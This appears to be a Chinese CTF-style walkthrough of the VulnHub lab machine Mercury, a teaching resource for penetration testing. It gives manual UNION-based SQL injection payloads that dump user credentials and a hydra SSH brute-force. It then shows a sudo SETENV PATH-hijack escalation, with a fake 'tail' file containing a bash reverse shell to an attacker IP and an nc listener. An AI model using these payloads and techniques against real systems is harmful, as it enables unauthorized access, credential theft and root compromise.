甄选靶机精讲系列(四)——Mercury:啥?80端口怎么消失了?

1,066 阅读7分钟

vulnhub:Mercury官方下载

难度:⭐⭐

前言

本系列第4台靶机:Mercury,针对测试网站的渗透思路,主要涉及手工sql注入以及劫持环境变量、构建伪命令提权的利用方式,其中不乏一些细节上的考量。

侦察

nmap进行端口扫描

在之前3篇靶机精讲中分别介绍了3种不同的方式进行主机发现和端口扫描,例如netdiscover、masscan、nmap甚至还有内置shell命令组成的bash脚本。这里以任何方式进行,以我的靶机IP10.10.10.134为例。

使用nmap进行端口扫描

sudo nmap -sT -T3 -p- 10.10.10.134

nmap不加sudo也可以执行,但推荐带上sudo,管理员权限可以访问系统的所有资源,可以探测某些受保护的网络接口和执行某些类型的扫描(例如-O探测操作系统);-T3对标--min-rate 10000,但前者更智能化一些,可以根据网络状况和操作环境进行实时调整;另外,-sT可以省略,当不指定端口类型时,默认是以TCP端口进行扫描。

参考结果:

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ sudo nmap -sT -T3 -p- 10.10.10.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 23:05 EDT
Nmap scan report for 10.10.10.134
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 00:0C:29:57:A4:F7 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.19 seconds

该靶机仅仅开放了22和8080端口,最为权重最大的80端口居然没有开放,但观察到8080端口是有http服务运行的,因此可以考虑从网页入手。

8080端口的信息搜集

浏览器访问8080端口,页面提示出网站正在升级。一般来说,网站的升级、维护等非正常运营时期大概率会伴随着信息泄露、漏洞利用等一系列风险,我们就需要在信息搜集全面的基础上对其进行逐步地分析和利用。

使用gobuster进行目录爆破

sudo gobuster dir -u http://10.10.10.134:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q

类似的目录爆破工具还有dirb、dirsearch、dirbuster,甚至可以用wfuzz进行目录或文件的模糊匹配,在后续打靶过程中会逐一用到。

参考结果:

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ sudo gobuster dir -u http://10.10.10.134:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
/robots.txt           (Status: 200) [Size: 26]

扫描速率过慢先行停止,对于一些常见的可能目录我们只能做一些手动尝试,例如/images/admin.php等,发现页面报错

mercury报错.png

在“错误报告”页面中部泄露出2个关键信息,一个是robots.txt,其Disallow的内容为根目录;一个是/mercuryfacts/目录

先访问mercuryfacts目录,其中展现了2个超链接,先看第一个

mercury超链接1.png

在第2篇靶机精讲中提到过,对于web的探测有3点:源代码、URL、标题。上图所示的URL中,二级目录仅有数字,并且页面显示有id,就不难想到可能存在sql注入。sql注入漏洞是一个大专题,需要花大量时间和精力进行研究,在本系列的sql注入中仅展示手工注入的方式,它可以让我们对注入流程及其绕过原理产生深度理解。

手工注入sql漏洞

可能你会有疑问:凭什么有1个数字 有一个id就能判断它存在sql注入漏洞。其实开篇就已经提到了这是一个升级中的网站,并开启了“错误报告”模式,因此任何语法错误或http报错都有回显。比如我们在数字后边加一个单引号,URL应该是这样的:

http://10.10.10.134:8080/mercuryfacts/9'

由于不存在9'这个页面,正常网站是应该返回404状态码的,但由于我们这个网站的特殊性,因此会返回如下页面

mercury页面报错.png

显示“SQL语法错误”,这就为我们提供了sql注入的机会。

这里有个细节,我们给它的id值不能为1-8,否则没有显位存余。显位可以通过order by判断,但在这里,由于每个id对应的fact数据只有1条,因此也不难分析出字段数为1。

如果各位不论怎么操作页面始终报错,那么大概率是闭合方式判断失误。在判断闭合方式前,首先我们应该确认id参数的数据类型为字符型(2-1等效于1),闭合方式常见的有无符号、单引号和双引号,通过在可能的闭合方式后添加注释符来确认。例如,当输入http://10.10.10.134:8080/mercuryfacts/9-- -时,页面回显正常,这就说明sql查询语句采用的是无符号的闭合类型

基本逻辑判断完成后,接下来就是注入环节:

  1. 查看所有数据库:9 union select schema_name from information_schema.schemata;-- -

得到information_schemamercury两个数据库

  1. 查看mercury库中的所有表:9 union select table_name from information_schema.tables where table_schema='mercury';-- -

得到factsusers两张表

  1. 查看users表中的所有字段:9 union select column_name from information_schema.columns where table_schema='mercury' and table_name='users'

得到idusernamepassword4个字段

  1. 查看username中的数据:9 union select username from mercury.users;-- -

得到johnlaurasamwebmaster4个数据

  1. 查看password中的数据:9 union select password from mercury.users;-- -

得到johnny1987lovemykids111lovemybeer111mercuryisthesizeof0.056Earths4个数据

至此,数据库的信息就已经被我们充分拿捏。总结起来,注入过程中由于没有字符过滤等限制,因此十分顺利,但在日后困难级别的靶机中,sql注入必定会结合其他类型的漏洞进行全局研判、综合利用,因此掌握漏洞的底层原理十分有必要。

尝试ssh远程登录

对于任何一种情况我们都需要做好周全的打算,脑中要构建出可能发生的种种情况,例如上述的4组凭据,他们都是用于ssh登录的吗?如果是,那账号和密码是一一对应的吗?如果不是,我们就有应用工具解决问题的必要性。

当然,手工一个一个的去试肯定也行,但当数据量大了之后,更推荐使用工具例如hydra进行自动化操作

hydra -L user.txt -P pass.txt ssh://10.10.10.134

执行命令前,我们需提前准备好存放有4组凭据的user.txtpass.txt文件。对于hydra的POST用法,已在甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?中详细阐述。

参考结果:

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ hydra -L user.txt -P pass.txt ssh://10.10.10.134
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-31 06:32:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ssh://10.10.10.134:22/
[22][ssh] host: 10.10.10.134   login: webmaster   password: mercuryisthesizeof0.056Earths
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-31 06:32:28

得到webmaster:mercuryisthesizeof0.056Earths凭据信息,尝试ssh登录,拿到系统初始shell

枚举

由于是ssh登录,不需要担心终端交互性的问题。

首先进行当前用户的基本信息枚举

webmaster@mercury:~$ whoami
webmaster
webmaster@mercury:~$ id
uid=1001(webmaster) gid=1001(webmaster) groups=1001(webmaster)

然后进行系统的状态信息枚举

webmaster@mercury:~$ cat /proc/version
Linux version 5.4.0-45-generic (buildd@lgw01-amd64-033) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #49-Ubuntu SMP Wed Aug 26 13:38:52 UTC 2020
webmaster@mercury:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:57:a4:f7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.134/24 brd 10.10.10.255 scope global dynamic ens33
       valid_lft 1661sec preferred_lft 1661sec
    inet6 fe80::20c:29ff:fe57:a4f7/64 scope link 
       valid_lft forever preferred_lft forever

查看系统内有哪些其他用户

webmaster@mercury:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mercury:x:1000:1000:mercury:/home/mercury:/bin/bash
webmaster:x:1001:1001:,,,:/home/webmaster:/bin/bash
linuxmaster:x:1002:1002:,,,:/home/linuxmaster:/bin/bash

使用sudo -l查看有无文件可以以root身份执行;使用cat /etc/crontab查看系统有无定时任务;使用ls -l /home查看有无其他用户家目录的查看权限;使用ls -la ~查看当前用户家目录下有无非常规文件。最终,在/mercury_proj/目录下发现有notes.txt文件,其中存储着linuxmaster的base64格式用户密码。

使用base64命令进行解密

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d 
mercurymeandiameteris4880km

看用户名字也知道,linuxmaster在系统内的权限会比webmaster高一些

尝试切换用户

webmaster@mercury:~/mercury_proj$ su - linuxmaster 
Password: 
linuxmaster@mercury:~$ 

切换用户会导致我们所具有的权限产生变化,因此需要重新走一遍枚举流程

linuxmaster@mercury:~$ sudo -l
[sudo] password for linuxmaster: 
Matching Defaults entries for linuxmaster on mercury:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh

第7行是令人感兴趣的内容,一般情况下的用户权限为NOPASSWD,而这里是SETENV,因此提权肯定是围绕着check_syslog.sh文件展开的

SETENV表示check_syslog.sh文件可以使用修改后的环境变量以root身份执行,否则以secure_path环境变量执行。使用时需要加上--preserve-env选项。

既然可以不受secure_path的限制,那我们就可以通过劫持环境变量、构建伪命令实现提权。跟前3台靶机相比,这种提权思路在本质上是相同的,只不过多了修改PATH这一步骤。

先查看check_syslog.sh内容,确定伪命令对象

linuxmaster@mercury:~$ cat /usr/bin/check_syslog.sh 
#!/bin/bash
tail -n 10 /var/log/syslog

tail即是我们的目标命令,至于执行的是哪个文件不重要。

由于我们在该用户家目录下构建tail文件,因此需要将该目录添加进环境变量中

linuxmaster@mercury:~$ export PATH=/home/linuxmaster:$PATH
linuxmaster@mercury:~$ echo $PATH
/home/linuxmaster:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

当一个命令或可执行文件被执行时,系统会在PATH中定义的路径中依次寻找是否存在该文件,因此,我们将/home路径添加在最前面,当tail命令执行时,系统按顺序查找就会先调用/home/linuxmaster下的tail文件。

接下来我们将在用户家目录下创建tail文件,写入bash反弹语句,并赋予执行权限

linuxmaster@mercury:~$ touch tail
linuxmaster@mercury:~$ echo 'bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"' > tail
linuxmaster@mercury:~$ cat tail                                                                       
bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1" 
linuxmaster@mercury:~$ chmod +x tail

此时,当我们以sudo执行check_syslog.sh文件时,系统就会在环境变量中依次寻找tail可执行文件,最终会将home目录下的tail文件以root身份执行,不出意外,kali中将收到rootshell。

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

执行sudo时需要加上--preserve-env=PATH保留PATH环境变量,需要注意的是,此选项作为单独的权限颗粒度独立于sudo权限之外,需要sudo -l的结果中指定有SETENV才具有该选项的执行权限

执行后,kali中出现以下响应即提权成功

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.134: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.134] 51466
root@mercury:/home/linuxmaster# 

结语

这台靶机一反常态,没有暴露出80端口,但万变不离其宗,http服务仍在照常运行就有攻击面存在。在提权阶段,我们没有将伪命令构建在/tmp目录下,论选择哪个路径作为目标目录,其实也是根据当前用户所具有的权限来进行抉择的;如果各位注意观察syslog的输出结果就可以发现,在结果的第1行就是清除/tmp目录下的所有临时文件,因此我们将目标路径选在家目录下是明智之举。

如果各位读者有任何与本台靶机相关的疑问或者有更好的见解,欢迎随时在评论区留言,我将竭诚回复!

系列精彩文章

# 甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?

# 甄选靶机精讲系列(二)——sar:史上最简洁朴素的攻击链

# 甄选靶机精讲系列(三)——narak:TCP?UDP?信息收集何时是个头啊!